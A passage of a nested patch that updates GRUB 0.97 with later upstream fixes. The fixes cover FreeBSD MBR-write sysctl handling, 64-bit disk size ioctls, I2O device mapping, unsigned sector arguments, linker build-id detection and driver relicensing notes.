-+
-+	* grub/asmstub.c (get_diskinfo): Optimize sysctl routine.
-+
-+2006-04-20  Robert Millan  <robertmh@gnu.org>
-+
-+	Fixes for kernel of FreeBSD:
-+	* grub/asmstub.c (get_diskinfo): Toggle "kern.geom.debugflags" sysctl
-+	before opening a device for writing.
-+	* util/grub-install.in: Devices don't have this "r" prefix anymore.
-+
-+2006-04-16  Yoshinori K. Okuji  <okuji@enbug.org>
-+
-+	* docs/multiboot.texi: Correct the offset of address
-+	fields. Reported by Jeroen Dekkers.
-+
-+2006-03-21  Yoshinori K. Okuji  <okuji@enbug.org>
-+
-+	* stage2/builtins.c (setup_func): Specify the size of DEVICE to
-+	grub_strncat instead of a strange number 256. Reported by Vitaly
-+	Fertman <vitaly@namesys.com>.
-+
-+2005-09-29  Yoshinori K. Okuji  <okuji@enbug.org>
-+
-+	* docs/multiboot.texi: Fix a bug in the byte order of
-+	boot_device. I hope this won't affect any OS image.
-+	Increased the version number to 0.6.94.
-+
-+2005-09-28  Yoshinori K. Okuji  <okuji@enbug.org>
-+
-+	* stage2/boot.c (load_image): Even if an OS image is an ELF
-+	object, use the a.out kludge if MULTIBOOT_AOUT_KLUDGE is
-+	specified.
-+
- 2005-05-08  Yoshinori K. Okuji  <okuji@enbug.org>
- 
- 	* configure.ac (AC_INIT): Upgraded to 0.97.
-diff -uprN grub-0.97/configure grub/configure
---- grub-0.97/configure	2005-05-08 03:48:12.000000000 +0100
-+++ grub/configure	2007-11-05 01:29:46.000000000 +0000
-@@ -3694,6 +3694,64 @@ if test "x$undef_flag" = xyes; then
-   CPPFLAGS="$CPPFLAGS -Wundef"
- fi
- 
-+# Check if build ID can be disabled in the linker
-+echo "$as_me:$LINENO: checking whether linker accepts \`--build-id=none'" >&5
-+echo $ECHO_N "checking whether linker accepts \`--build-id=none'... $ECHO_C" >&6
-+save_LDFLAGS="$LDFLAGS"
-+LDFLAGS="$LDFLAGS -Wl,--build-id=none"
-+cat >conftest.$ac_ext <<_ACEOF
-+/* confdefs.h.  */
-+_ACEOF
-+cat confdefs.h >>conftest.$ac_ext
-+cat >>conftest.$ac_ext <<_ACEOF
-+/* end confdefs.h.  */
-+
-+int
-+main ()
-+{
-+
-+  ;
-+  return 0;
-+}
-+_ACEOF
-+rm -f conftest.$ac_objext conftest$ac_exeext
-+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
-+  (eval $ac_link) 2>conftest.er1
-+  ac_status=$?
-+  grep -v '^ *+' conftest.er1 >conftest.err
-+  rm -f conftest.er1
-+  cat conftest.err >&5
-+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
-+  (exit $ac_status); } &&
-+	 { ac_try='test -z "$ac_c_werror_flag"
-+			 || test ! -s conftest.err'
-+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
-+  (eval $ac_try) 2>&5
-+  ac_status=$?
-+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
-+  (exit $ac_status); }; } &&
-+	 { ac_try='test -s conftest$ac_exeext'
-+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
-+  (eval $ac_try) 2>&5
-+  ac_status=$?
-+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
-+  (exit $ac_status); }; }; then
-+  build_id_flag=yes
-+else
-+  echo "$as_me: failed program was:" >&5
-+sed 's/^/| /' conftest.$ac_ext >&5
-+
-+build_id_flag=no
-+fi
-+rm -f conftest.err conftest.$ac_objext \
-+      conftest$ac_exeext conftest.$ac_ext
-+echo "$as_me:$LINENO: result: $build_id_flag" >&5
-+echo "${ECHO_T}$build_id_flag" >&6
-+LDFLAGS="$save_LDFLAGS"
-+if test "x$build_id_flag" = xyes; then
-+  LDFLAGS="$LDFLAGS -Wl,--build-id=none"
-+fi
-+
- if test "x$with_binutils" != x; then
-   # Extract the first word of "objcopy", so it can be a program name with args.
- set dummy objcopy; ac_word=$2
-@@ -3892,7 +3950,7 @@ echo "$as_me: error: ${CC-cc} cannot com
- fi
- grub_cv_prog_objcopy_absolute=yes
- for link_addr in 2000 8000 7C00; do
--  if { ac_try='${CC-cc} ${CFLAGS} -nostdlib -Wl,-N -Wl,-Ttext -Wl,$link_addr conftest.o -o conftest.exec'
-+  if { ac_try='${CC-cc} ${CFLAGS} ${LDFLAGS} -nostdlib -Wl,-N -Wl,-Ttext -Wl,$link_addr conftest.o -o conftest.exec'
-   { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
-   (eval $ac_try) 2>&5
-   ac_status=$?
-diff -uprN grub-0.97/configure.ac grub/configure.ac
---- grub-0.97/configure.ac	2005-05-08 03:36:03.000000000 +0100
-+++ grub/configure.ac	2008-04-10 23:26:50.000000000 +0100
-@@ -86,13 +86,13 @@ if test "x$ac_cv_prog_gcc" = xyes; then
-     fi
-     STAGE1_CFLAGS="-O2"
-     GRUB_CFLAGS="-O2"
--    AC_CACHE_CHECK([whether optimization for size works], size_flag, [
-+    AC_CACHE_CHECK([whether optimization for size works], grub_cv_cc_Os, [
-       saved_CFLAGS=$CFLAGS
-       CFLAGS="-Os -g"
--      AC_TRY_COMPILE(, , size_flag=yes, size_flag=no)
-+      AC_TRY_COMPILE(, , grub_cv_cc_Os=yes, grub_cv_cc_Os=no)
-       CFLAGS=$saved_CFLAGS
-     ])
--    if test "x$size_flag" = xyes; then
-+    if test "x$grub_cv_cc_Os" = xyes; then
-       STAGE2_CFLAGS="-Os"
-     else
-       STAGE2_CFLAGS="-O2 -fno-strength-reduce -fno-unroll-loops"
-@@ -100,16 +100,16 @@ if test "x$ac_cv_prog_gcc" = xyes; then
-     # OpenBSD has a GCC extension for protecting applications from
-     # stack smashing attacks, but GRUB doesn't want this feature.
-     AC_CACHE_CHECK([whether gcc has -fno-stack-protector],
--		   no_stack_protector_flag, [
-+		   grub_cv_cc_no_stack_protector, [
-       saved_CFLAGS=$CFLAGS
-       CFLAGS="-fno-stack-protector"
-       AC_TRY_COMPILE(,
- 		     ,
--		     no_stack_protector_flag=yes,
--		     no_stack_protector_flag=no)
-+		     grub_cv_cc_no_stack_protector=yes,
-+		     grub_cv_cc_no_stack_protector=no)
-       CFLAGS=$saved_CFLAGS
-     ])
--    if test "x$no_stack_protector_flag" = xyes; then
-+    if test "x$grub_cv_cc_no_stack_protector" = xyes; then
-       STAGE2_CFLAGS="$STAGE2_CFLAGS -fno-stack-protector"
-     fi
-   fi
-@@ -123,33 +123,44 @@ AC_SUBST(GRUB_CFLAGS)
- CPPFLAGS="$CPPFLAGS -Wall -Wmissing-prototypes -Wunused -Wshadow"
- CPPFLAGS="$CPPFLAGS -Wpointer-arith"
- 
--AC_CACHE_CHECK([whether -Wundef works], undef_flag, [
-+AC_CACHE_CHECK([whether -Wundef works], grub_cv_cc_Wundef, [
-   saved_CPPFLAGS="$CPPFLAGS"
-   CPPFLAGS="-Wundef"
--  AC_TRY_COMPILE(, , undef_flag=yes, undef_flag=no)
-+  AC_TRY_COMPILE(, , grub_cv_cc_Wundef=yes, grub_cv_cc_Wundef=no)
-   CPPFLAGS="$saved_CPPFLAGS"
- ])
- 
- # The options `-falign-*' are supported by gcc 3.0 or later.
- # Probably it is sufficient to only check for -falign-loops.
--AC_CACHE_CHECK([whether -falign-loops works], [falign_loop_flag], [
-+AC_CACHE_CHECK([whether -falign-loops works], [grub_cv_cc_falign_loop], [
-   saved_CPPFLAGS="$CPPFLAGS"
-   CPPFLAGS="-falign-loops=1"
--  AC_TRY_COMPILE(, , [falign_loop_flag=yes], [falign_loop_flag=no])
-+  AC_TRY_COMPILE(, , [grub_cv_cc_falign_loop=yes], [grub_cv_cc_falign_loop=no])
-   CPPFLAGS="$saved_CPPFLAGS"
- ])
- 
- # Force no alignment to save space.
--if test "x$falign_loop_flag" = xyes; then
-+if test "x$grub_cv_cc_falign_loop" = xyes; then
-   CPPFLAGS="$CPPFLAGS -falign-jumps=1 -falign-loops=1 -falign-functions=1"
- else
-   CPPFLAGS="$CPPFLAGS -malign-jumps=1 -malign-loops=1 -malign-functions=1"
- fi
- 
--if test "x$undef_flag" = xyes; then
-+if test "x$grub_cv_cc_Wundef" = xyes; then
-   CPPFLAGS="$CPPFLAGS -Wundef"
- fi
- 
-+# Check if build ID can be disabled in the linker
-+AC_MSG_CHECKING([whether linker accepts `--build-id=none'])
-+save_LDFLAGS="$LDFLAGS"
-+LDFLAGS="$LDFLAGS -Wl,--build-id=none"
-+AC_TRY_LINK(, , build_id_flag=yes, build_id_flag=no)
-+AC_MSG_RESULT([$build_id_flag])
-+LDFLAGS="$save_LDFLAGS"
-+if test "x$build_id_flag" = xyes; then
-+  LDFLAGS="$LDFLAGS -Wl,--build-id=none"
-+fi
-+
- if test "x$with_binutils" != x; then
- dnl  AC_PATH_TOOL(OBJCOPY, objcopy, , "$with_binutils:$PATH")
-   AC_PATH_PROG(OBJCOPY, objcopy, , "$with_binutils:$PATH")
-diff -uprN grub-0.97/grub/asmstub.c grub/grub/asmstub.c
---- grub-0.97/grub/asmstub.c	2005-02-16 20:45:14.000000000 +0000
-+++ grub/grub/asmstub.c	2008-03-28 13:22:28.000000000 +0000
-@@ -55,6 +55,10 @@ int grub_stage2 (void);
- # endif /* ! BLKFLSBUF */
- #endif /* __linux__ */
- 
-+#if defined(__FreeBSD_kernel__) || defined(__FreeBSD__)
-+# include <sys/sysctl.h>
-+#endif
-+
- /* We want to prevent any circularararity in our stubs, as well as
-    libc name clashes. */
- #define WITHOUT_LIBC_STUBS 1
-@@ -777,7 +781,39 @@ get_diskinfo (int drive, struct geometry
- 
-       /* Open read/write, or read-only if that failed. */
-       if (! read_only)
--	disks[drive].flags = open (devname, O_RDWR);
-+	{
-+/* By default, kernel of FreeBSD does not allow overwriting MBR */
-+#if defined(__FreeBSD_kernel__) || defined(__FreeBSD__)
-+#define GEOM_SYSCTL	"kern.geom.debugflags"
-+	  int old_flags, flags;
-+	  size_t sizeof_int = sizeof (int);
-+
-+	  if (sysctlbyname (GEOM_SYSCTL, &old_flags, &sizeof_int, NULL, 0) != 0)
-+	    grub_printf ("failed to get " GEOM_SYSCTL "sysctl: %s\n", strerror (errno));
-+
-+	  if ((old_flags & 0x10) == 0)
-+	    {
-+	      /* "allow foot shooting", see geom(4) */
-+	      flags = old_flags | 0x10;
-+
-+	      if (sysctlbyname (GEOM_SYSCTL, NULL, NULL, &flags, sizeof (int)) != 0)
-+		{
-+		  flags = old_flags;
-+		  grub_printf ("failed to set " GEOM_SYSCTL "sysctl: %s\n", strerror (errno));
-+		}
-+	    }
-+	  else
-+	    flags = old_flags;
-+#endif
-+	  disks[drive].flags = open (devname, O_RDWR);
-+#if defined(__FreeBSD_kernel__) || defined(__FreeBSD__)
-+	  if (flags != old_flags)
-+	    {
-+	      if (sysctlbyname (GEOM_SYSCTL, NULL, NULL, &old_flags, sizeof (int)) != 0)
-+	        grub_printf ("failed to set " GEOM_SYSCTL "sysctl: %s\n", strerror (errno));
-+	    }
-+#endif
-+	}
- 
-       if (disks[drive].flags == -1)
- 	{
-@@ -926,7 +962,7 @@ hex_dump (void *buf, size_t size)
- 
- int
- biosdisk (int subfunc, int drive, struct geometry *geometry,
--	  int sector, int nsec, int segment)
-+	  unsigned int sector, int nsec, int segment)
- {
-   char *buf;
-   int fd = geometry->flags;
-diff -uprN grub-0.97/grub/main.c grub/grub/main.c
---- grub-0.97/grub/main.c	2003-07-09 12:45:36.000000000 +0100
-+++ grub/grub/main.c	2006-05-05 22:43:46.000000000 +0100
-@@ -32,6 +32,7 @@ int grub_stage2 (void);
- #define WITHOUT_LIBC_STUBS 1
- #include <shared.h>
- #include <term.h>
-+#include <device.h>
- 
- char *program_name = 0;
- int use_config_file = 1;
-@@ -192,6 +193,12 @@ main (int argc, char **argv)
- 	      perror ("strtoul");
- 	      exit (1);
- 	    }
-+	  if (boot_drive >= NUM_DISKS)
-+	    {
-+	      fprintf (stderr, "boot_drive should be from 0 to %d\n",
-+		       NUM_DISKS - 1);
-+	      exit (1);
-+	    }
- 	  break;
- 
- 	case OPT_NO_CONFIG_FILE:
-diff -uprN grub-0.97/lib/device.c grub/lib/device.c
---- grub-0.97/lib/device.c	2005-03-28 00:14:25.000000000 +0100
-+++ grub/lib/device.c	2008-03-28 13:22:28.000000000 +0000
-@@ -69,9 +69,9 @@ struct hd_geometry
- # ifndef CDROM_GET_CAPABILITY
- #  define CDROM_GET_CAPABILITY	0x5331	/* get capabilities */
- # endif /* ! CDROM_GET_CAPABILITY */
--# ifndef BLKGETSIZE
--#  define BLKGETSIZE	_IO(0x12,96)	/* return device size */
--# endif /* ! BLKGETSIZE */
-+# ifndef BLKGETSIZE64
-+#  define BLKGETSIZE64	_IOR(0x12,114,size_t)	/* return device size */
-+# endif /* ! BLKGETSIZE64 */
- #endif /* __linux__ */
- 
- /* Use __FreeBSD_kernel__ instead of __FreeBSD__ for compatibility with
-@@ -152,19 +152,19 @@ get_drive_geometry (struct geometry *geo
-   /* Linux */
-   {
-     struct hd_geometry hdg;
--    unsigned long nr;
-+    unsigned long long nr;
-     
-     if (ioctl (fd, HDIO_GETGEO, &hdg))
-       goto fail;
- 
--    if (ioctl (fd, BLKGETSIZE, &nr))
-+    if (ioctl (fd, BLKGETSIZE64, &nr))
-       goto fail;
-     
-     /* Got the geometry, so save it. */
-     geom->cylinders = hdg.cylinders;
-     geom->heads = hdg.heads;
-     geom->sectors = hdg.sectors;
--    geom->total_sectors = nr;
-+    geom->total_sectors = nr / 512;
-     
-     goto success;
-   }
-@@ -407,6 +407,12 @@ get_ataraid_disk_name (char *name, int u
- {
-   sprintf (name, "/dev/ataraid/d%c", unit + '0');
- }
-+
-+static void
-+get_i2o_disk_name (char *name, char unit)
-+{
-+  sprintf (name, "/dev/i2o/hd%c", unit);
-+}
- #endif
- 
- /* Check if DEVICE can be read. If an error occurs, return zero,
-@@ -801,6 +807,29 @@ init_device_map (char ***map, const char
- 	  }
-       }
-   }
-+    
-+  /* This is for I2O - we have /dev/i2o/hd<logical drive><partition> */
-+  {
-+    int unit;
-+
-+    for (unit = 'a'; unit < 'f'; unit++)
-+      {
-+        char name[24];
-+    
-+        get_i2o_disk_name (name, unit);
-+        if (check_device (name))
-+          {
-+              (*map)[num_hd + 0x80] = strdup (name);
-+                  assert ((*map)[num_hd + 0x80]);
-+                  
-+	    /* If the device map file is opened, write the map.  */
-+               if (fp)
-+                     fprintf (fp, "(hd%d)\t%s\n", num_hd, name);
-+                     
-+	    num_hd++;
-+          }
-+      }
-+  }
- #endif /* __linux__ */
-   
-   /* OK, close the device map file if opened.  */
-@@ -861,6 +890,12 @@ write_to_partition (char **map, int driv
-       if (strcmp (dev + strlen(dev) - 5, "/disc") == 0)
- 	strcpy (dev + strlen(dev) - 5, "/part");
-     }
-+  else
-+    {
-+      if ((strncmp (dev, "/dev/ataraid/", 13) == 0) ||
-+         (strncmp (dev, "/dev/rd/", 8) == 0))
-+        strcpy (dev + strlen(dev), "p");
-+    }
-   sprintf (dev + strlen(dev), "%d", ((partition >> 16) & 0xFF) + 1);
-   
-   /* Open the partition.  */
-diff -uprN grub-0.97/netboot/3c509.c grub/netboot/3c509.c
---- grub-0.97/netboot/3c509.c	2003-07-09 12:45:37.000000000 +0100
-+++ grub/netboot/3c509.c	2002-01-02 21:56:40.000000000 +0000
-@@ -18,7 +18,7 @@ Author: Martin Renters.
- 
- 3c509 support added by Serge Babkin (babkin@hq.icb.chel.su)
- 
--$Id: 3c509.c,v 1.4 2002/01/02 21:56:40 okuji Exp $
-+$Id: 3c509.c 609 2002-01-02 21:56:40Z okuji $
- 
- ***************************************************************************/
- 
-diff -uprN grub-0.97/netboot/cs89x0.c grub/netboot/cs89x0.c
---- grub-0.97/netboot/cs89x0.c	2003-07-09 12:45:37.000000000 +0100
-+++ grub/netboot/cs89x0.c	2008-05-20 12:04:18.000000000 +0100
-@@ -1,3 +1,21 @@
-+/**
-+   Per an email message from Russ Nelson <nelson@crynwr.com> on
-+   18 March 2008 this file is now licensed under GPL Version 2.
-+
-+   From: Russ Nelson <nelson@crynwr.com>
-+   Date: Tue, 18 Mar 2008 12:42:00 -0400
-+   Subject: Re: [Etherboot-developers] cs89x0 driver in etherboot
-+   -- quote from email
-+   As copyright holder, if I say it doesn't conflict with the GPL,
-+   then it doesn't conflict with the GPL.
-+
-+   However, there's no point in causing people's brains to overheat,
-+   so yes, I grant permission for the code to be relicensed under the
-+   GPLv2.  Please make sure that this change in licensing makes its
-+   way upstream.  -russ
-+   -- quote from email
-+**/
-+
- /* cs89x0.c: A Crystal Semiconductor CS89[02]0 driver for etherboot. */
- /*
-   Permission is granted to distribute the enclosed cs89x0.[ch] driver
-diff -uprN grub-0.97/netboot/cs89x0.h grub/netboot/cs89x0.h
---- grub-0.97/netboot/cs89x0.h	2003-07-09 12:45:37.000000000 +0100
-+++ grub/netboot/cs89x0.h	2008-05-20 12:04:18.000000000 +0100
-@@ -1,3 +1,21 @@
-+/**
-+   Per an email message from Russ Nelson <nelson@crynwr.com> on
-+   18 March 2008 this file is now licensed under GPL Version 2.
-+
-+   From: Russ Nelson <nelson@crynwr.com>
-+   Date: Tue, 18 Mar 2008 12:42:00 -0400
-+   Subject: Re: [Etherboot-developers] cs89x0 driver in etherboot
-+   -- quote from email
-+   As copyright holder, if I say it doesn't conflict with the GPL,
-+   then it doesn't conflict with the GPL.
-+
-+   However, there's no point in causing people's brains to overheat,
-+   so yes, I grant permission for the code to be relicensed under the
-+   GPLv2.  Please make sure that this change in licensing makes its
-+   way upstream.  -russ
-+   -- quote from email
-+**/
-+
- /*  Copyright, 1988-1992, Russell Nelson, Crynwr Software
- 
-    This program is free software; you can redistribute it and/or modify
-diff -uprN grub-0.97/netboot/etherboot.h grub/netboot/etherboot.h
---- grub-0.97/netboot/etherboot.h	2003-07-09 12:45:37.000000000 +0100
-+++ grub/netboot/etherboot.h	2006-09-08 13:56:22.000000000 +0100
-@@ -531,9 +531,6 @@ extern int ip_abort;
- extern int network_ready;
- extern struct rom_info rom;
- extern struct arptable_t arptable[MAX_ARP];
--extern struct bootpd_t bootp_data;
--#define	BOOTP_DATA_ADDR	(&bootp_data)
--extern unsigned char *end_of_rfc1533;
- 
- /* config.c */
- extern struct nic nic;
-diff -uprN grub-0.97/netboot/main.c grub/netboot/main.c
---- grub-0.97/netboot/main.c	2004-05-20 23:19:33.000000000 +0100
-+++ grub/netboot/main.c	2006-09-08 13:56:22.000000000 +0100
-@@ -56,7 +56,8 @@ static int vendorext_isvalid;
- static unsigned long netmask;
- static struct bootpd_t bootp_data;
- static unsigned long xid;
--static unsigned char *end_of_rfc1533 = NULL;
-+
-+#define	BOOTP_DATA_ADDR	(&bootp_data)
- 
- #ifndef	NO_DHCP_SUPPORT
- #endif /* NO_DHCP_SUPPORT */
-@@ -967,7 +968,6 @@ decode_rfc1533 (unsigned char *p, int bl
-   
-   if (block == 0)
-     {
--      end_of_rfc1533 = NULL;
-       vendorext_isvalid = 0;
-       
-       if (grub_memcmp (p, rfc1533_cookie, 4))
-@@ -1021,7 +1021,7 @@ decode_rfc1533 (unsigned char *p, int bl
- 	}
-       else if (c == RFC1533_END)
- 	{
--	  end_of_rfc1533 = endp = p;
-+	  endp = p;
- 	  continue;
- 	}
-       else if (c == RFC1533_NETMASK)
-diff -uprN grub-0.97/netboot/natsemi.c grub/netboot/natsemi.c
---- grub-0.97/netboot/natsemi.c	2003-07-09 12:45:38.000000000 +0100
-+++ grub/netboot/natsemi.c	2006-09-10 08:26:10.000000000 +0100
-@@ -608,7 +608,7 @@ natsemi_transmit(struct nic  *nic,
- 		 const char  *p)     /* Packet */
- {
-     u32 status, to, nstype;
--    u32 tx_status;
-+    volatile u32 tx_status;
-     
-     /* Stop the transmitter */
-     outl(TxOff, ioaddr + ChipCmd);
-@@ -647,7 +647,7 @@ natsemi_transmit(struct nic  *nic,
- 
-     to = currticks() + TX_TIMEOUT;
- 
--    while ((((volatile u32) tx_status=txd.cmdsts) & OWN) && (currticks() < to))
-+    while (((tx_status=txd.cmdsts) & OWN) && (currticks() < to))
-         /* wait */ ;
- 
-     if (currticks() >= to) {
-diff -uprN grub-0.97/netboot/sis900.c grub/netboot/sis900.c
---- grub-0.97/netboot/sis900.c	2003-07-09 12:45:38.000000000 +0100
-+++ grub/netboot/sis900.c	2006-09-10 08:26:10.000000000 +0100
-@@ -901,7 +901,7 @@ sis900_transmit(struct nic  *nic,
-                 const char  *p)     /* Packet */
- {
-     u32 status, to, nstype;
--    u32 tx_status;
-+    volatile u32 tx_status;
-     
-     /* Stop the transmitter */
-     outl(TxDIS, ioaddr + cr);
-@@ -940,7 +940,7 @@ sis900_transmit(struct nic  *nic,
- 
-     to = currticks() + TX_TIMEOUT;
- 
--    while ((((volatile u32) tx_status=txd.cmdsts) & OWN) && (currticks() < to))
-+    while (((tx_status=txd.cmdsts) & OWN) && (currticks() < to))
-         /* wait */ ;
- 
-     if (currticks() >= to) {
-diff -uprN grub-0.97/netboot/sk_g16.c grub/netboot/sk_g16.c
---- grub-0.97/netboot/sk_g16.c	2003-07-09 12:45:38.000000000 +0100
-+++ grub/netboot/sk_g16.c	2002-01-02 21:56:40.000000000 +0000
-@@ -13,12 +13,12 @@ Changes to make it work with Etherboot b
-  *
-  * Module         : sk_g16.c
-  *
-- * Version        : $Revision: 1.4 $
-+ * Version        : $Revision: 609 $
-  *
-  * Author         : Patrick J.D. Weichmann
-  *
-  * Date Created   : 94/05/26
-- * Last Updated   : $Date: 2002/01/02 21:56:40 $
-+ * Last Updated   : $Date: 2002-01-02 21:56:40 +0000 (mer 02 jan 2002) $
-  *
-  * Description    : Schneider & Koch G16 Ethernet Device Driver for
-  *                  Linux Kernel >= 1.1.22
-diff -uprN grub-0.97/netboot/sk_g16.h grub/netboot/sk_g16.h
---- grub-0.97/netboot/sk_g16.h	2003-07-09 12:45:38.000000000 +0100
-+++ grub/netboot/sk_g16.h	2000-07-29 20:22:54.000000000 +0100
-@@ -4,7 +4,7 @@
-  * of the GNU Public License, incorporated herein by reference.
-  *
-  * Module         : sk_g16.h
-- * Version        : $Revision: 1.3 $
-+ * Version        : $Revision: 388 $
-  *
-  * Author         : M.Hipp (mhipp@student.uni-tuebingen.de)
-  * changes by     : Patrick J.D. Weichmann
-@@ -15,8 +15,8 @@
-  *                  the am7990 (LANCE) chip used for writing a
-  *                  network device driver which uses this chip
-  *
-- * $Log: sk_g16.h,v $
-- * Revision 1.3  2000/07/29 19:22:54  okuji
-+ * $Log$
-+ * Revision 1.3  2000-07-29 19:22:54  okuji
-  * update the network support to etherboot-4.6.4.
-  *
- -*/
-diff -uprN grub-0.97/stage1/Makefile.am grub/stage1/Makefile.am
---- grub-0.97/stage1/Makefile.am	2004-07-16 12:44:56.000000000 +0100
-+++ grub/stage1/Makefile.am	2007-11-05 01:29:46.000000000 +0000
-@@ -5,7 +5,7 @@ CLEANFILES = $(nodist_pkglib_DATA)
- 
- # We can't use builtins or standard includes.
- AM_CCASFLAGS = $(STAGE1_CFLAGS) -fno-builtin -nostdinc
--LDFLAGS = -nostdlib -Wl,-N,-Ttext,7C00
-+stage1_exec_LDFLAGS = -nostdlib -Wl,-N,-Ttext,7C00
- 
- noinst_PROGRAMS = stage1.exec
- stage1_exec_SOURCES = stage1.S stage1.h
-diff -uprN grub-0.97/stage1/Makefile.in grub/stage1/Makefile.in
---- grub-0.97/stage1/Makefile.in	2005-05-08 03:42:36.000000000 +0100
-+++ grub/stage1/Makefile.in	2007-11-05 01:29:46.000000000 +0000
-@@ -110,7 +110,7 @@ INSTALL_DATA = @INSTALL_DATA@
- INSTALL_PROGRAM = @INSTALL_PROGRAM@
- INSTALL_SCRIPT = @INSTALL_SCRIPT@
- INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@
--LDFLAGS = -nostdlib -Wl,-N,-Ttext,7C00
-+LDFLAGS = @LDFLAGS@
- LIBOBJS = @LIBOBJS@
- LIBS = @LIBS@
- LTLIBOBJS = @LTLIBOBJS@
-@@ -188,6 +188,7 @@ CLEANFILES = $(nodist_pkglib_DATA)
- 
- # We can't use builtins or standard includes.
- AM_CCASFLAGS = $(STAGE1_CFLAGS) -fno-builtin -nostdinc
-+stage1_exec_LDFLAGS = -nostdlib -Wl,-N,-Ttext,7C00
- stage1_exec_SOURCES = stage1.S stage1.h
- SUFFIXES = .exec
- all: all-am
-diff -uprN grub-0.97/stage2/bios.c grub/stage2/bios.c
---- grub-0.97/stage2/bios.c	2004-03-27 16:34:04.000000000 +0000
-+++ grub/stage2/bios.c	2008-03-28 13:22:28.000000000 +0000
-@@ -47,7 +47,7 @@ extern int get_diskinfo_floppy (int driv
-    return the error number. Otherwise, return 0.  */
- int
- biosdisk (int read, int drive, struct geometry *geometry,
--	  int sector, int nsec, int segment)
-+	  unsigned int sector, int nsec, int segment)
- {
-   int err;
-   
-diff -uprN grub-0.97/stage2/boot.c grub/stage2/boot.c
---- grub-0.97/stage2/boot.c	2004-03-30 12:44:08.000000000 +0100
-+++ grub/stage2/boot.c	2005-09-28 22:47:55.000000000 +0100
-@@ -1,7 +1,7 @@
- /* boot.c - load and bootstrap a kernel */
- /*
-  *  GRUB  --  GRand Unified Bootloader
-- *  Copyright (C) 1999,2000,2001,2002,2003,2004  Free Software Foundation, Inc.
-+ *  Copyright (C) 1999,2000,2001,2002,2003,2004,2005  Free Software Foundation, Inc.
-  *
-  *  This program is free software; you can redistribute it and/or modify
-  *  it under the terms of the GNU General Public License as published by
-@@ -96,7 +96,7 @@ load_image (char *kernel, char *arg, ker
-   lh = (struct linux_kernel_header *) buffer;
-   
-   /* ELF loading supported if multiboot, FreeBSD and NetBSD.  */
--  if ((type == KERNEL_TYPE_MULTIBOOT
-+  if (((type == KERNEL_TYPE_MULTIBOOT && ! (flags & MULTIBOOT_AOUT_KLUDGE))
-        || pu.elf->e_ident[EI_OSABI] == ELFOSABI_FREEBSD
-        || grub_strcmp (pu.elf->e_ident + EI_BRAND, "FreeBSD") == 0
-        || suggested_type == KERNEL_TYPE_NETBSD)
-diff -uprN grub-0.97/stage2/builtins.c grub/stage2/builtins.c
---- grub-0.97/stage2/builtins.c	2005-02-15 21:58:23.000000000 +0000
-+++ grub/stage2/builtins.c	2006-03-21 20:51:58.000000000 +0000
-@@ -3830,15 +3830,15 @@ setup_func (char *arg, int flags)
- 	{
- 	  char tmp[16];
- 	  grub_sprintf (tmp, ",%d", (partition >> 16) & 0xFF);
--	  grub_strncat (device, tmp, 256);
-+	  grub_strncat (device, tmp, sizeof (device));
- 	}
-       if ((partition & 0x00FF00) != 0x00FF00)
- 	{
- 	  char tmp[16];
- 	  grub_sprintf (tmp, ",%c", 'a' + ((partition >> 8) & 0xFF));
--	  grub_strncat (device, tmp, 256);
-+	  grub_strncat (device, tmp, sizeof (device));
- 	}
--      grub_strncat (device, ")", 256);
-+      grub_strncat (device, ")", sizeof (device));
-     }
-   
-   int embed_stage1_5 (char *stage1_5, int drive, int partition)
-diff -uprN grub-0.97/stage2/disk_io.c grub/stage2/disk_io.c
---- grub-0.97/stage2/disk_io.c	2004-05-23 17:35:24.000000000 +0100
-+++ grub/stage2/disk_io.c	2008-03-28 13:22:28.000000000 +0000
-@@ -137,7 +137,7 @@ log2 (unsigned long word)
- }
- 
- int
--rawread (int drive, int sector, int byte_offset, int byte_len, char *buf)
-+rawread (int drive, unsigned int sector, int byte_offset, int byte_len, char *buf)
- {
-   int slen, sectors_per_vtrack;
-   int sector_size_bits = log2 (buf_geom.sector_size);
-@@ -261,7 +261,7 @@ rawread (int drive, int sector, int byte
-        */
-       if (disk_read_func)
- 	{
--	  int sector_num = sector;
-+	  unsigned int sector_num = sector;
- 	  int length = buf_geom.sector_size - byte_offset;
- 	  if (length > size)
- 	    length = size;
-@@ -291,7 +291,7 @@ rawread (int drive, int sector, int byte
- 
- 
- int
--devread (int sector, int byte_offset, int byte_len, char *buf)
-+devread (unsigned int sector, int byte_offset, int byte_len, char *buf)
- {
-   /*
-    *  Check partition boundaries
-@@ -330,7 +330,7 @@ devread (int sector, int byte_offset, in
- 
- #ifndef STAGE1_5
- int
--rawwrite (int drive, int sector, char *buf)
-+rawwrite (int drive, unsigned int sector, char *buf)
- {
-   if (sector == 0)
-     {
-@@ -363,7 +363,7 @@ rawwrite (int drive, int sector, char *b
- }
- 
- int
--devwrite (int sector, int sector_count, char *buf)
-+devwrite (unsigned int sector, int sector_count, char *buf)
- {
- #if defined(GRUB_UTIL) && defined(__linux__)
-   if (current_partition != 0xFFFFFF
-diff -uprN grub-0.97/stage2/fsys_ffs.c grub/stage2/fsys_ffs.c
---- grub-0.97/stage2/fsys_ffs.c	2003-07-09 12:45:52.000000000 +0100
-+++ grub/stage2/fsys_ffs.c	2001-11-12 06:57:29.000000000 +0000
-@@ -50,7 +50,7 @@
-  * the rights to redistribute these changes.
-  *
-  *	from: Mach, Revision 2.2  92/04/04  11:35:49  rpd
-- *	$Id: fsys_ffs.c,v 1.10 2001/11/12 06:57:29 okuji Exp $
-+ *	$Id: fsys_ffs.c 594 2001-11-12 06:57:29Z okuji $
-  */
- 
- #ifdef FSYS_FFS
-diff -uprN grub-0.97/stage2/fsys_ufs2.c grub/stage2/fsys_ufs2.c
---- grub-0.97/stage2/fsys_ufs2.c	2004-06-19 13:17:52.000000000 +0100
-+++ grub/stage2/fsys_ufs2.c	2004-06-19 13:17:52.000000000 +0100
-@@ -51,7 +51,7 @@
-  * the rights to redistribute these changes.
-  *
-  *	from: Mach, Revision 2.2  92/04/04  11:35:49  rpd
-- *	$Id: fsys_ufs2.c,v 1.2 2004/06/19 12:17:52 okuji Exp $
-+ *	$Id: fsys_ufs2.c 841 2004-06-19 12:17:52Z okuji $
-  */
- 
